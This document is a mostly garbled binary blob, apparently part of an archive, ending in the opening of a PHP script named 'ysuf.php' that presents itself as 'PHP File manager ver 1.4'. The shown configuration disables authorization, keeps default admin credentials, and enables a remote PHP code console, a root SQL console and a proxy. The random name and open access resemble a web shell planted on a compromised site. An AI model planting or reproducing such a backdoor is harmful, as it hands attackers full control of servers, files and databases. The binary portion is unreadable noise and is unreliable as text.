�r�}]�>ܥ�ʎ�Ka����`Z.�Q��n��A����݃g{��5�/[�:=ޏ��Ř��U6�=���	�#���<�PNK�ey\�<D�鐘��U��LQ'٠�\�O��q6&���`&>�d���
�6SyQm��E$�.n�ٕ*�e�9�W��h*���>�I��>��=�!��Ex�a%�Cp�X'闶�U.ڄ#�Id5YF�yx�ߎ{�G6�,�6��ί>zV�V�U��=�K&.���)�)mX.����vU�n�ٜst����`R����,�b��/�z��9�uo��t��ʺ'5Bݧ{1����{�����Pl�;�ޝ��=��P!�s�N]n+�i��USB.�Nt��(��!����[�JK�s�F�>��l�۟/[�,O�\`�J�&;�<h���K�:�dܝ���ʶ�~��u���oD��6]{�\+Uߵ��<�y�6�,;�Cd8�
1��h�SOg���
����|���ّl��SA�d ��3�F:��Tj�n��e�Z<y���b��6��u��-&��a�^M3�&��"�ܰV��8���n�Q^�F��d�dҵ��Ie����lﻘ}���HN�ݏ��d���X�3ҚxoV���IٖX)_~0��[���3lq��N�a�5�6dH�U�!�H�a�gh+H��@�8�8��ͬF��n�`[�ѕR���91�`����;8$�C�…Ն���\�~�>��j� j=�0,��IJ.Y��>�2O��k��U���`��{� ʼne�7��j��_G���q�&�{?g�ߗZ��:�j���p�;@�^=�䫍�T#�˾��V�$���F�ǚHӎ
�H�yy���2b7�.w�fK��gp�9�j;�[�I������gE�����9��֚U>8�Ɗ���������Co?�N�W4ḵ�n�N�Y({{^?^ID�ķ�^��m��=z5-7��4n��֨��hN��Ѱ�}�s�3$zL+nw���Ex9�ՙ����<-�ay�X�
�&�JMi�BV
�8H�o�[N��̤"���`t^��ux��Wn��qz��:��� 1^"@��B��ى�!?Y߮	^�8�y!u�g!�`���j��	gh�C��Y�������v��{��d҉j�7����RF�Hi���uo�	��]�q�p|�r$��}0�o�L`U:T��D8�s���A;8� �M3��m�p�F�������	��%��uE@+���8`�\���u�=�
K@�J�'-v�UNs��+.�[�E��s0�����������r������?��������?��?����������_�����+*�����~���Xo@�ō��c�7|�º
���=V�"�7;?��'#e��q~�+��#���3U�{�p$o\3�d:80���K�rm�C*�q�5����(���a�xGxML�-&�@bP�AU�D\pGO�^�lX�Z�ڨU�u�ذ�K�N��IC��	��4M������탈2�VA�>�������苠��v�&��1	[|�1�x����¤#�=��d1vs�I��>I���'�}��דmϚ�!oݠ��72�Ao�:�NL�,D�"~1�)��*�E	��L����6LBY`�&&��:7���HXw�O�8�=;�͜�m�!��������
���oHhS����	v�׻T�7Nsf�;V<4���5�6f��¨�l�6
�_��oj8|uxY}��.����'�3��!46�O�� �bDNB[�=�
�z�^/�<����� �rV��ی�r*4�� ���7�o>�����C�U.�+����|w�������w���e>�	���z����a�k�
S��!�"&�1��*�Xi����a�����+����yI�Fj�䐇PhW�0�!t�8��(�����@����\��:F}y�3x�����3|�_�I��d��e�KV�)�R��Gr<c�r�������^�8((Y��c�$�����2�����	�ұ$�ȌkV�N���J��U�ޜ�xF��<q��g�鷹�tk���ߴ��Ё/�F�.4��Iof�9V4�A��*D�n���tH�ØQ��h�N�s��>㷂���\�*�Q�*K-��b�u\�Zj���	��.踧� 5HHF,,�kn���1�=K��5��a!�f�f�K���͒8���	�8�p����
����I��PA6�,H��?6D1^�x}|?$�CaG��O;c3�5�
�7Z��4���<l׺��kڬO[�Ë���ԅ�7�f��/ZSM��0�X�b-w4kI�k��:�񽈃��6����8� ��`w���*b��:rT�z���{<ԍ������s_��!�	���ź��.��g��ǘ�[\�l�|y���~��]�[
�`�~���Y���.o�M[ļ�������焠�a�1$����K_�b����D�C5�2P�W�hZN7�^�l Y(�L0y_+x�P�VA?�d�%F��f��D����Lہk��%�ca��uK8H�Գ�~|"?��/�S�Q=�?_سi�k���"d�)4�8P(@�D�8Z����V��6T��-u=-��Cf)��Ӈ�N�alj����D�z�[�a��"�����R���/(�;���N���t�	�٢^L��2�c'I7���ؚĪ�PX�ǍFt��p�k�f�=���?��X���D�S���և�ץ�L_�4y�e~�d#�H���K��G	&ω�0Ώ�H=���2�_�7�^��u�䟲NR�:e(�؝j`
�Aۼ��E4��y�G�%/}�+��mE���k��hK���$J��`
`H<��M���Ş�ƆZ�ׁ�Mz������/#��8
My�R�C�v�\�!5�ũB��BJ&���@�g2M�o��W���c��I���
���|�Y~AZx1�_����k�\���w�Tc�*���s
(��4r�v��j�*MT�<�xo��@M8z7BOcY���*������ώg$\S��/�\����on��K[ � �c���rQ�v
�D/Na�B[0�������k��[ݐ�t��rp��1;�5V��
v;=�‡ÛM9�+H0�O�o(��J�͔��Z��ʏ�����O�c%��?����5����g�j��qw}q�n�m\
����&��9A����n�]�k�x����!ґt�n�?M$n��l,
5/�6�8�]Od�V�Y��\"������l��O�`<���2�j�P��m��ϧB���;I�}�������?��w���G���G�6$�*�޿��}��>d�6���&<�̉`瞘��y?��4���1�6:��LB��fa `��c�3S�ژ�l�\�l.�ŬEC���i="z('}pπ��{���U:�G|<��c�r��#����aƠ
�G��jW�� ��¸,i]?���
&�&�3#���^4E����o&���)|�cO�2O�??S�z$V��0�Ҍ����g,
a苝`?t���a�J��|��)��lb~𭠘��u���C�J���J�x����E��N�ԩH�|m���B�u#�)1��ۓv�����T{��.��Y�)��h;��F�����XHU�S9����lQ.S�Y�+U��jQP�X�i5�\<��WX�驶��x$��oF�Lj���V�n�a�.�9>���[�0__Ջ��]*�K	�^&�g��Tm�e7JQMݭǩ4_y(gR�T��N=�ww�]�� ���R��֚�3�T;�KG����P�p��R%��-w��i*��R��4��[�bf�c�z�/fr��i D[����R�}�#/�x�J7��x=����T6}�	���r&�z�Vs��.�?��Pl/R�F�W,�*�T��Cuqq�7W�\u�D����U�it�L&�M�O�IX��fO�m=ح�O��j#�{�V)]I��x|�F;��7��c����UE�U+r4��ZT��ݽ�]�<��G���j�?��<�g_�S�����eQ����x5��rO)���vJ�J\��l<w�x-�8���^��E*��6w��O�QDڈl��T�S8��F�p9&�s��n�.]��7���*��H�~R("r�-�,��w�\�y���p �t#���ߣI!�R�4h��ub��g��	��)� {RO�F����Z����Z��z�J�J�~��]J��ゐ
!�g�6?�G+�7�7�T�iV���VIݳwD�F)�.)�t�m��}*=٧��}:�n����he�t&3o�����%n��Ba�O
��Zr�a�!��\k�
�6�c8;
l��b����K�]:So�w�q�ۼ�T^��t:?ͻO�� _L�R��콐n4��U��o��]�w�w�bb0.F&�ma����ۍ׻�:7؊�®�
���NvōC�Q���z﮾���G�~](u���e~T_ǵ����ͦ:��\?�Zm�JFm��L�2��r���)��r�Yn�����=�����R�V77���F$��Os�n�4�e��P��lf�I�.s�+�����^��A�۝����X��sr�UަcB�����M��������|�ȷ�9��G�E�L]�T3-Ogq��V��~�F@��f��F��Y�S��E�$=ާ\+�嶺X6'������zO�g���ʵ��,w�$8D��&���./��|*U���}3��t��Va>~�jÅ�W���؈T�D�ɯ�
��M��ͦ2�<f��TJ��Ԡ�ۊ�B��m��=X�m�Me�̫|/ם�x�	�x�wW�,:%��u
;y�)͗���/�Z'x*w��œXI(�^�!P�.�R[\j��"P��� ��F��圗��:�������8�<l���"_�v�~�3�����G�����S�^�������겍`L��K.��+���o����4~�L�����5��R�����Ф�.��E!��ʳm��U��I�Y�K�HY��U���U@�����/KO��]/�Vӽ��N��7(-��J��!�����r�Xb��D��A�8�Џ�x��<�m����c(�`;w���n6���>�'�����a9>��;��Ӡ��G;���6�a..':�i�[���S�a�
�7�w�U�[��[,���|^⺱VV{��C{�\	,f��޿
�������H�9>/��R�
�{u����Ҕ�jґ#�\���,����$�/������X�������M,���yp����S7��V�<=��d(i����m�{��J
Vؖ�.���Ku�8	x��.�]<V�(�_�W�P(���/�aw��ւ��T���%Ԭԩ������A�����f�\./��B�o�Pq�7J�Zg�����p��7������*��ɣ���ݜlU���Z��I7"���x:��H����~O�{���Ĵ�?)C~�E;��z8�m��4��<��~
M�c�}��3�]yTn�+kI��C�
[d36���zFg��ަz?nҏ�r�s����jm��{#n��i)�7:�i���WOi���w�]]iޅ"�iu6�,���V�Gj8���M(�p~��t�B-��1�o�*O�F(Wه��h㾗-4��(�@�Ҕ=K!��U��jڌ���UO�a����v)�UeQ����w�EH�x*�|q�|`�sw�ͺ�_l�EyRT��^�U�T���M��Z.�������I��
�6*Z��U�I������e3v_�W�f�m�*����I�_��ۇl{?��|~��]��L<t��Y/��/�I�W
�<)2�wѭ8�=��hY��y�>��bպ���ʈq֗}����N�S�C���}W*U{�"	�Jl���U�ٯ%��rj��n�����U.��:�n��Z
o�R���^n��2X��:��Z�D��H��Y@wb�\Nk���h���1?�׃�'0l�h�z�Ѳ 5TO�;/)�V?tF�������p�S<��}ӿ�ֹ�c�����Q����H?���{��Õ�p���Z5H̞��ȨR��b�X�U�V�=nt�W��Z�9��m�Xƴ�P{�{�b��D��k]�����Cl+v�ִN�ө���H���j�Z4z�\Iae>q�j��N�nj��+n��@Lj�f��hN]%�T�[��]��Ý�R:�޾*�Ɲ4���!v�g[
7��1����o����\d���Xh��Z�w�U��x��2$)�FBe#-/F��J{�(q�n�5�v��n(�����
پ��b�`�
ʵ���ݵ&��+ N�ή�O�RxX+킞v��<͗��S0�V�8���Zq>&�W���.&�x%�P���+��0QD�>��j+4\�*�>;�'اQ^C�N%��*|H�e0ފmG�\V��l�;��kO�2]����?�'�
vP�tk5�Y��D6��-nU�v��4{�-I��ʉ�h'���~��:Xu��o���zډ&FUoڐ{���������J*�����~f;�zvO�C'�����i4nCk9��<�x�..��iDuZ��(6��[36�KE�{��/U��
ݙv�He�T-�b���"�o��r����-��-�	rR���0'V�� ��&"_H���1�r��oxl��j����G��փ�V(�Q�\��S��ݭ[�]�#xR�x*��~)��ŇTg��z.>�������B=�s7�v�e�/����c�G�~�1�ǂ�Ķ�����ٍ��?Zb�}�_�]�]N�qO�Y�2��S�!�w����>�xi�k���D%4�(y�r�n}�������35��<?�,����k�M+X��z�T���+tơr3�W��`>���\b���b��>��'�Rm��c�%p�L5(V�at;���<�E�J���.d)�n���=��r�T���l��b9?|�W��oOc����(S�{7��������{=���]՛�z�1���:H�yj�6í���zj��w�n5t���:�]�q��=�N���VZ吴�d��m%���A�H��T����z���Ү�v��Z�=��ǻ'T1�OW��,w�t��>�=&V�L�_P�?��������έJ�N=������_��Q*�k�`��)DF\<V�du5馫;9>д��GO<4׬VCyO?�����v�7�:��YsU�g2�i
�]�O[ȟ��?m!�B����i���-�O[ȟ��?m!�B����i���BZ��S.Q�������l��
��S�����!U���YF�4��}���SH�o�6�Zn?��n�!�v��C9��Oһ]�H�w��,&��lW���&�؍'����q��]�<�Ұ��Q��b#�}vO�s�CFw#i�����c�pw�}l"��.�.;���݆��l��X|Pw�E1��m���}ğ糥�2( Jt2�J.�@��\Z.K\ߣ�{��C_
���8:,jE���tk�6���h�S�v�3�:�Q"���5�n�44�t�hV�B(ol�*?鎋��V���\*���Lԇ�c������oW�����Z�Y{�O��j-�ٻ~�+%2�l�=t���C�T\��l>�߅�q�p	7G�Bz9R�~�k���r>)�����v4�<�u0�<�6B�4ɵ���z� o�iUyږJe3Zg��p	i�s�>*�6ӆ0-=���|T��F�.�V�Pb��#�=w���Ánv9�'MQ��S�yu8\�慇�}O,&z�M����@>��w-��=�ٸ;��jo,�ǍMg�>f��V��S�Bj�;%y�+?d�]
��9�g�O��0U.��N��
��䁯"8����������?:~�0����1D���gp�M;q���sV�WYO�J��U�o��`b'̇�G#U�T�r7���T30P��;5(��nUQ��r�I�"�oI����Bn,��l��g��
�hW�GW�żMI��bpΟ:�y1]��7�i��ޕ{.л�W��i��f���l�B����Jo���-�^8�����n8b=��N�c��c<֨�{e6�j1�uX�p/F��pe�U9�<^D'��Gc=�F4����@���쪾)��j�I'�`�:���t7���m�����F��R`=��Sܫ���Q}*B�f
�m�\��êB}1�/T�۩�f��*�Z�Z�^��Mq����9��y\/�y�g��H��QĻ��2��3�}����]����]{�{�H 艫즽(����6�*O�ѝG�H#��jj��G��Ӧ8/�
�cݗ~O|1���2)�T61���t'P�FZ��H�|�)7'�|:�Lzl�~��Z,�iΊ�h)���+���鬧�p���G,�� �V��`g����s�A�Q	�3O���]�����`~׫�ӽBB�5�}�	�:�b��D��Wpム˷K��t^zju�����VZ���5իL���l?w�]i�P�z.��K����p�|c4�Z��`L�Fg��++M���A�]o&�L�5�x4E�Oý��a�m��t�/f䝴�ŀT��F"91��'� �_��n��4�@���˕�:U�w���l���R&�Hܕ+	�Q�/�i�]��IaU|�5����
�l0�z�}N.�=��r�ZI��b�a]W��r��t�R}��륽�*��-�7)�!�:�A�T�ݩ6J�L�XL���s~(p�:Px^±�]snK<��cA�b��l�$�U�{��솆�B\A6�
��#�݌D�ӮE~��(��S��	�?[U���	��
J���둿�/�<�� N����rX�
_�Qȣ�K��rU���^�81ļB�s4:���k��5/��T؎O����.Ʌ��O�9	Upc�6E.�KQY�u�_=k�~ʀc$�*#ض�؇�c�`�N�zhK��u^D	"8�4��5F�x-T�]h�r'�©�hA"F띡,H�F�_D���*�dX�S�Z�+z��p�:̌�;W�$2�q()�dk

���('��ɩ����+|U��G��ċ��:�����w���Xm�@�4

n�~7�nƛ_�Xs��bI�^�~�/R,��M��J{A�m�\��S��1k^Q!v%,�5� �E�+x���x�'w4p�c����ڊ��	<~g?¯zOq��٬�ς��@�-���8m&�2?Ih��x棅f�C;� m�2�w2H�;q�?��v��?��{�Ӄg���`�{��k����p�OG~/Vٴ=��V�th���߸�m�
���w�s��ڶͷ5HD�!��� �mAކx��^3FPȷZ:��pf�C���ۧ�E�z�*I�X[�T2�m{�NM�w94�XNX���E�x+���e[�(]�I�bQ�A}��s>��p���a����@��1��>�#\�t�ʷ{����A ����I?��IF| �ѲP�A�,a�N g����ep�߁�q�H�
���f��az��@V(���5d�u��
�/�R��S$:r��^4I�s���Яo���l�@~�k�n�-	�X�)Eּ�OUE�oM=U�j�P���?�Wb�ɥ������o,����?堺]=������$ୁ�u$?�2�aCZF���/-�L*1TY�b�j�Sy-��v�<�=��M�Twƈ�}��>L�,�6Ny�6�ic�G}��,�ïa�|�u裒�3��#��g���YSE��x�R�aJZ�]�q��L~��~t��
�d��_��MX�r��nh/hm��Q���Fk4q*�r
q����`��9�#G��"l������AȨ�[6#�Dѿ�a���������`�b��f�3Y�>.ɷ���>��mu��Ң�$�I�8�*|�q����W�wZa����t�<�e�������!C��z8y��Xֿ&[��D��
�
���yv� �h:�Wwu�������rA���X�����#K��R��"�D�E�w�M����4�&�%�~x
Ɇ�< u��>A�l<��ON�c�TZ$�4�a���I�O^�|����X,��8`C�n�Ts�"�_���$�*�X�`�'������P�8F�lQi��yK�9���q�D"���'�������e3���H"�Ajb��pHԜ��QU��/��C%�V���y$���������a�r2y��=|�Ap�@8	��X����=��L�?���P��8�]G4�뉐r�F��.0���s��+АN��ê'>��S�S��J[$ �Ӥ��d�����;=YI:N�r����Jx�y���;��{�),2����M�O'��;�Q�@�!:=�K�m��Da�ĒqBl�c���
�1�8c
���B��Nj�Ca�\�D����&l( �ȁd�H��,��c!_G�4�8V(g p"�[岬�M:��G��u�"�Ѐ�Д=������큼��C�-ƮxY���X�83�6a�.`H��<<�7t�^�m�5�h/$�ei���Wk�j�,�H�?�dSu3k7�ή]����������-����!X�OaQ�։���=�c�a0�)z�'u0��'�(s�w��Nr2]/"chP�xt?ݞ�i�+70g�/�e�sg���'s=3_�O�q$����Xt3���7,kƁ(�vľ���2��ု��
O#y���ԏH�u꟧x$O��x�q&��(7o26\�.�~�-�v�/a�G|Io��Kr�:g2�,F��+�x��㙀;l_��� ˖yͩ"�p0�@'%�(	6��u���L/ιY�2�Rב|Z��_��9[�0`�_�j΃��Cl�Æ/� Op>��6_�s������y�ZԦ��W[�Cg��OW^1d�$k|8���T��[I��y�Nu���P*�� |ql���!ߡғ�-������gH87�\�NL��'�/P��?���� ��t���1��]�'I`xl���h���H^��)@-J����`D�\��7�C�S$9pT���M�W
�H���,5���	q�"ʼn�C  �|P�05���������ڨ*�8SC�p�㲂����q�W�yV��FS�m
	���Y��TBl?������Ge0�؉��R����T���G�"G>��6U���/��-0�x�����IƆ1��;�R�����z P}����a����^$4���0p��2���<�h�m֍��t�(�
*(I�Y�q��3�(k�-*Bg%��4RΖE�Z�5h:�wB�>�X����,h��<_(����u����0��_΃��{mئ_%	�яh�Н�:Lp�Ռ=�����OY������r�Y�;����V$�A�eY捕k�u��yc�������o�ȇ�:|���Fi|���I�M
��J_aR�9	PO�.k�F��[�%0�S�P2G+��"�x���%��,l��-7]Vg�`¸����EP��d��hoͦ�Q"~ctڿ���҉��b��{��[%�wl������9~O��d	�h�^8W� hVy�za�	ӕֳ~�rt=�E� aN	s�^D?W��M��0��y�=߿�������t�9o���}�p���͕��ga>%
�z�d���ƑՐZ��O�c����I��	Ġx`���_q��.�U���aH.�'�$��s�bG�xC�g>��_q���^�~0��f:$fZ�m�úV�#U�o~"'[�����Шxx�˂��Y�S��c�[��QR7
|')��!-�{n?N��	W��(�5�˳t��a��H��:Zh�:�[6���c6z�=�ys��|8 �0_����
S�
_PB���a�Jƕ~e��pZ�'��
����J�o��1C�I3�u��(o�R���~��F�R
z$:��(�����h��y-G|ӻ�Х�>(����lފ�-�to�BP�."K���t�t0X���k��i���X�9����{9��.&ou����GZ�i����x���ց6ע})+�xz߂9��Ǿ�x2������r���Z�X_�П;^e���ٮ�|z�Bv��W��
��(�FD3�x�_��
I�
����)�dÉ�㬧Z��S
���q췦_�Gm2�P��@��:-��[��y�\�]ň��՛���U�b7����RW6d���=��thd�A҃�	�O3�Q�dzX��9'\���s���4��7N�r�-�tY6��2������s��n|�8h��>�Ȼ������������!��!��xǕp,T �\��ʘ'5��Y�]=��%���+�; ���U�e��OO��1򨧷^�s�~�{�m�����!˚��i��
���ha���FT1݁�c�;�z�ۏ0ύ���
���!�o���f�v�3ɸ��߰f�2�v}��a(�`p���;>���4��ҡ�����	�|/
H���p	��u���*F����'�
��!K���'�9���m���3;yŨ+���$�}�Qб�b�&���d��T��İ:�|�������/����BȐvm�6�!@_Y'|pv8���o�#6����jb79\A���������Aj}�K��Ц���b��`k�a�|ܚ�G���U(���P��,�5����@��a6J�%�N�s!/V�D��h��%j2�{��䳓�P<��^����U��W��,�KR��:��YD�W���
�Ј�(��R$�#i�r��G������|m�<�����?3+P�ɍ�l&��P���J�\��Ob�p�|NʺOq/T�9ek�q��Ll�,)��٫���<އ��ғi
�	~���1�]�>^���Y��-��3o������Y��!~}7��Z����20C�!"�JG�>$� �+䗣�n=7(�'?��&�D﷧jXw�K�%�NL�H`��<G�S�Uw�c|���8DK�Y|�$V����o�0��-��߅=�Oc��c�{s���[uFz%^����t��[�p�E�;�M�@U�sp�u9�W�!sw-\��	/��}�A��'��y}��1�Nf�<�d&a|'-�VE���5$S�
���j�~?�8�b��4�ފ/��[���q"-J�|�A�0}|a���q�︎~���a�B,�9N�a�dc�N4m�^��X�&��o ��,/��-��8n8�c���n�����q�3���=��]���0U(��JΝ��l`0H~�z|�	k��9����8�.s�����ۢ�1(�	g� 7���t�a��%�:X�.�a��$��dS$��T��Z�.��@���Sz��WG0��h��@�������5���V,��U�o�O�R��q���յø�'Hv��T`����Z�_B���5iF��J��CF�ˀ�.C�a�
9��Q[��!$�H�����a����_!F�ހ%Nj�4x�ki蛫W<P\
r>n�<<S�d�*�Yؿ���A��O�c���!T���QIi]�|TQ���"��2(K=(x	{P���
�����H�3�\�pW�/�*�Z��l�;�O����x"Lg�\�KE�V��v����p$�'<��(h.���e^f�e&^
�e��ށ�>��#By��A?���m�Mn�G�'�ut�[��pJs��@ gn�Q��ᇈ5�%H�0��2?2�7fx�F�8.5!LChz�fL�*$���2@B�&(ڼf� ��<���Qu��|L��_�
$EI��j�QÌ+�'����6�BzR�H
��FZ@Oh��U����[��
!
���o��1~�2��
�T"/@��!�� � %�j��:T1�藇:}W�2�<�B���_0n�>�j�1*t܍�nr�Ar�d�E�Bu�1��?�S3����b��\�,w��Pr���޷ν��+���/����z-'�ku0A;�z��UiWH.��G#	u��Akl�Q�@+�	��Ʒ	�de̶l#��<�~$(a���WW��2#,��$��~DПkL�GY��eyfKPaQ�� ��8��׍���#K�P�Q�J�}@Z����"��ȣ4�L�qm�����b�/,��ψE
�/WW��<|���\	k�.f_�6����on��8���d����;�[��>��_��73��dan�y�?lA��S���|��V}�3 ���񸿱c�Yu�eGU-��_n���G�Zt���e��c�����km!j�i�hˎzp0��-m�h[T�mc]�At#�SO���^�� !y�P6��
H.�o����>�膶K	��_n��v��}|F���8���Ш��K�o�r��c��f���b��$
#�Z�$>(~F:�o�df�tF�2��nS5r���̈�g�K�cN\��3%n-�9MV|55F#tc����f�!r�mu�r<4�9�Aڼ�gᇒ%5�3��1��0�[������>���Ŷ��ߔ��u ��c���e��)�1���ˁ���
���R���Njn����*�*���T�O�?p�|)���G�P%=��$�ޘ:�Q}��$cAA �����!���T���n�Y����F�Ĕ��";��
c����=������P7�����HZ��Q��s��0:��Fc�A\Q�E{&�[���A���
ל�H#�<���oh��q9��ϲ5���Cf��s��Ò�<4��2tTp�`����O�d�P�����讜/�JƲ5΁���#�o$�?�jK��^@��B������<�s����_p�g
�H��0ߥ~���n	l8*���a~;�K4bڥ�&/��j�<S�a�����]\�ߢr�޸�jn�����n������bm�'�A�Lcja�3��O>�V�t�Q�#����?�f���ϋNuI�~�>���1��<cЍUH3���|�7�#:�����̉D�g�/�n�K��6���Fm�d�F�OO@��`8GE�7�s�#j\օ9Z�=��x ҕ���F�W�v$� 	*C��
9�e�~��J�&��=?7������F#^���,�2�@�F��G�"&�C��1.���);�-�����,���g`���:��<�����{��;v���=����=��j)BK�N��Щ���0�ѹ�S�s4�m��'FO��lw*L�K�&=�3�);�:y%����a�ɩ)0|�oR��l��'�GE�·Va��0s.�.+D��|5�uH}½2Ŝ:9�1�0
�3׃}�AG���U�OK��@@�mպ�҈xƶ���B�t܈�/t���w-c���Kw~�0��^��]��R7�Y����1��эp
��AR�s(���cQO�>G�%����r��>�m��^�K��U̩"!RD#r^k��62ֈ]�8ڽ�9�����"��c�j��_��ߺ���ؘg��cq��i
z%�<9mK�ĺxs��Y���^�.缪rc"=��r�4j�"����H!�j&�3���8J�	�q���Ȼ��⊥�ɛAf�kǐ��LB�.��p�t�������
@�-vsa�4�z��O�l�J����(JiaH>01�~%+��!�j�v&����=��~L��V��j`�U�K�_
�!@2�fiO�>�f�ϗ��n:�Y�O�t�W����O�p�{%+�}k?5\
^�ȷ#��2�渞�kM�n�V�$HYQp��Wّe,m����A`�^�E�zF�x�P@�m�p�� ��b_��:�����D�c.-Y�H���:����XFx��Ø�nl�8�E����8�I�v�;�y��J�.S��wyA������ٳ!�_���O01����m�|_��x���儓�xda`J��6c�o�6j����u]Ӿ����;88!�P�cI�v[�)�;A!V�Ye.�Bly���c�rT_�<�o
DYb�J����cѳuIi��h%�C]�͙z�QY���=H��<T�ޔcN�G_�uu�;ϸLI
S���Ev��IC�%�7�^&@� �G�(7Dr}>���"�a\��F\�m`��ԯ72&��:÷-w:<0ɂ&���e�k�@�'צO��9H�5l!��9�g��p�6�1-\Fs��4fD�!�)����ƫ�!?�LP�e�N.^�3ād�|dpU�8���qˏ	g0Ii�c��R��R`�sj�H�H�Ԣ��2Z=���5-NX<~dB�=�Ԕ`�C��"#�5��,l@�$�����}�"�/W$I9�Xڇ�P_.xm_����B_���%�p���A#K���J���ulۨ�˞*H�|f��f�6ܼa7=�L�M��i�TuR�����*k��݅�[}��urtb���s�ˇr����5�^a�	d�W��{�^��یͣ���`��ze�6'&�5CC4��;ٴ���%xc�!��%��77���&���"/.����$���0�����8�듣Lmk��f��� VոNuù1u/��&��85Km�_RxCT����g����h�e���I	!�+��Ù����U���d��fN��j3���D{x�{b%�~kj5�W�_�R�o����_�kؤu�sV��k3��-���C�p;`V7���b�~1�C����^����.�(b�6����T�R�T<$U�t�˔^ ���uj��:E�6�Z[�@�Y7�4I�0����pW�t��'�ޚ������fx{�m�p��:�����B�a�?V�I�bxRXu�m�橌I�P��_���j	�qbp�!ݢs�����
�B]�uמ<?���(�I���X�6�H���>�Ea�H��2<4�GIqT���$&�zH�\N.���f��\�8�C�4V��?�@f�֍�tP�.��VY.:��€���˅�+�J(8��
�����
}$Y��H��a��7�'Fu�e��KS����?k1Kx�S@`�����s&�#�UÊ$63���+�Iƀ�`��J=�f�]|���������؋CQ@_ �)tb,���"̳7��qT�3�F���t~��Y��A��qP��;�VԿ�w�6'�A]�N�<�`X�\�/Lh
�_&��D��%
��%#N/j���8�9>ñ�x���\�9�9:8l����2���?�%��{4�H���,^0)��2*]Flˉ�&�u��6r9��p���sh�%==4V��*{��I����~�ʲ���
�0��a:{8�{Yk��B�7t��I��8Ÿw&}�1(i�a��Lj��1%���(E-ꌠ1��G���o�;�L�����L����R�Eh
�"�#QYq�7��_�W�(!���3l<���n�#8���dxv���:j���H��c�8��F��3�ZE�Wpa�B���
���#ӥ�W�
��ɪ>�V�^(3�7aO�����=ǭ�d|ˉ�\G�'W���8V��w�TB���6e���y��D����o*���]K��r����Pl�+s����lq�Ÿ�_�W.����'v,��
�X���T~�v��jλ���7��sȒ_���������1��$B�c����<Z5�~�']�7����y�kNԛ��*�}8�~�A�
��k�G��� ���_
}�4��$��	�W�
���k�\�Fo�!l�,�����$��`�fpL��1��n�_�o��z�0�be^*2;���7D������G?ԸA���Ⱎ�r@|���4��K���skt�ؙU�9�
�<e:�[�4�zk
��U�
�Z�7����MN�T��p_���m
�.rK$��+��+��)�{���;�G��5��qq�8�D�[�nN@3g�a�����ԗ‡$����?�i�o�ym�߲B�� 8!�r��-�o�c�>�����ß�����?����/�,Y<4ysuf.php000064400000232670000000000000006302 0ustar00<?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
